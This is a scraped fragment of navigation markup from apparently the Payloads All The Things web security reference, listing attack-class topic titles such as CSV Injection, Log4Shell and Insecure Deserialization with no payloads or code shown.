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GitHub
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</div>
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</a>
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<ul class="md-nav__list" data-md-scrollfix>
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<a href="../.." class="md-nav__link">
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<span class="md-ellipsis">
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Payloads All The Things
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</a>
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</li>
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CONTRIBUTING
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</a>
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DISCLAIMER
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</a>
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<span class="md-ellipsis">
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API Key Leaks
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_4">
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<span class="md-nav__icon md-icon"></span>
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API Key Leaks
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../API%20Key%20Leaks/" class="md-nav__link">
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<span class="md-ellipsis">
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API Key and Token Leaks
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
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<span class="md-ellipsis">
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IIS Machine Keys
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</span>
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</a>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<span class="md-ellipsis">
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Account Takeover
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_5">
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<span class="md-nav__icon md-icon"></span>
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Account Takeover
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Account%20Takeover/" class="md-nav__link">
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<span class="md-ellipsis">
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Account Takeover
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Account%20Takeover/mfa-bypass/" class="md-nav__link">
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<span class="md-ellipsis">
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MFA Bypasses
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</span>
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</a>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
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<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
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<span class="md-ellipsis">
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Business Logic Errors
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_6">
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<span class="md-nav__icon md-icon"></span>
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Business Logic Errors
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Business%20Logic%20Errors/" class="md-nav__link">
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<span class="md-ellipsis">
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Business Logic Errors
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</span>
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</a>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
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<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
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<span class="md-ellipsis">
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CORS Misconfiguration
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_7">
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<span class="md-nav__icon md-icon"></span>
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CORS Misconfiguration
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../CORS%20Misconfiguration/" class="md-nav__link">
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<span class="md-ellipsis">
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CORS Misconfiguration
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
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<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
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<span class="md-ellipsis">
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CRLF Injection
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_8">
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<span class="md-nav__icon md-icon"></span>
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CRLF Injection
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../CRLF%20Injection/" class="md-nav__link">
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<span class="md-ellipsis">
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Carriage Return Line Feed
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
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<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
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<span class="md-ellipsis">
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CSV Injection
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</span>
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<span class="md-nav__icon md-icon"></span>
|
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_9">
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<span class="md-nav__icon md-icon"></span>
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CSV Injection
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../CSV%20Injection/" class="md-nav__link">
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<span class="md-ellipsis">
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CSV Injection
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
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<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
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<span class="md-ellipsis">
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CVE Exploits
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_10">
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<span class="md-nav__icon md-icon"></span>
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CVE Exploits
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../CVE%20Exploits/" class="md-nav__link">
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<span class="md-ellipsis">
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Common Vulnerabilities and Exposures
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
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<span class="md-ellipsis">
|
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CVE-2021-44228 Log4Shell
|
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
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<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
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<span class="md-ellipsis">
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Clickjacking
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_11">
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<span class="md-nav__icon md-icon"></span>
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Clickjacking
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Clickjacking/" class="md-nav__link">
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<span class="md-ellipsis">
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Clickjacking
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
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<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
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<span class="md-ellipsis">
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Client Side Path Traversal
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</span>
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<span class="md-nav__icon md-icon"></span>
|
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_12">
|
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<span class="md-nav__icon md-icon"></span>
|
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Client Side Path Traversal
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
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<span class="md-ellipsis">
|
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Client Side Path Traversal
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
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<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
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<span class="md-ellipsis">
|
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Command Injection
|
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</span>
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<span class="md-nav__icon md-icon"></span>
|
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</label>
|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_13">
|
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<span class="md-nav__icon md-icon"></span>
|
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Command Injection
|
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</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../Command%20Injection/" class="md-nav__link">
|
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<span class="md-ellipsis">
|
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Command Injection
|
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</span>
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</a>
|
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_14">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Cross Site Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross-Site Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_15">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DNS Rebinding
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../DNS%20Rebinding/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DOM Clobbering
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_16">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DOM Clobbering
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../DOM%20Clobbering/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DOM Clobbering
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Denial of Service
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_17">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Denial of Service
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Denial%20of%20Service/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Denial of Service
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_18">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Dependency Confusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Dependency%20Confusion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_19">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Directory Traversal
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Directory%20Traversal/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_20">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
File Inclusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../File%20Inclusion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LFI to RCE
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Inclusion Using Wrappers
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_21">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Google Web Toolkit
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_22">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
GraphQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../GraphQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_23">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
HTTP Parameter Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Headless Browser
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_24">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Headless Browser
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Headless%20Browser/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Headless Browser
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Hidden Parameters
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_25">
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<span class="md-nav__icon md-icon"></span>
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Hidden Parameters
|
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</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
|
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<a href="../../Hidden%20Parameters/" class="md-nav__link">
|
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<span class="md-ellipsis">
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HTTP Hidden Parameters
|
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</span>
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</a>
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</li>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<span class="md-ellipsis">
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Insecure Deserialization
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
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Insecure Deserialization
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Insecure%20Deserialization/" class="md-nav__link">
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<span class="md-ellipsis">
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Insecure Deserialization
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
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<span class="md-ellipsis">
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.NET Deserialization
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
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<span class="md-ellipsis">
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Java Deserialization
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
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<span class="md-ellipsis">
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Node Deserialization
|
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</span>
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
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<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
PHP Deserialization
|
|
</span>
|
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
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<span class="md-ellipsis">
|
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Python Deserialization
|
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</span>
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
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<span class="md-ellipsis">
|
|
Ruby Deserialization
|
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</span>
|
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|
|
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</a>
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</li>
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
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<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
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|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
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|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
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|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_27">
|
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<span class="md-nav__icon md-icon"></span>
|
|
Insecure Direct Object References
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
|
|
|
</a>
|
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</li>
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
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<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
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|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
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|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_28">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Management Interface
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
|
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
|
|
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|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
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<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
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|
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|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
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|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_29">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Randomness
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
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|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Insecure%20Randomness/" class="md-nav__link">
|
|
|
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|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
|
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</ul>
|
|
</nav>
|
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</li>
|
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<li class="md-nav__item md-nav__item--nested">
|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_30">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Source Code Management
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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|
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<li class="md-nav__item">
|
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<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Bazaar
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Git
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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|
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|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Mercurial
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
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|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Subversion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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</li>
|
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|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
JSON Web Token
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
|
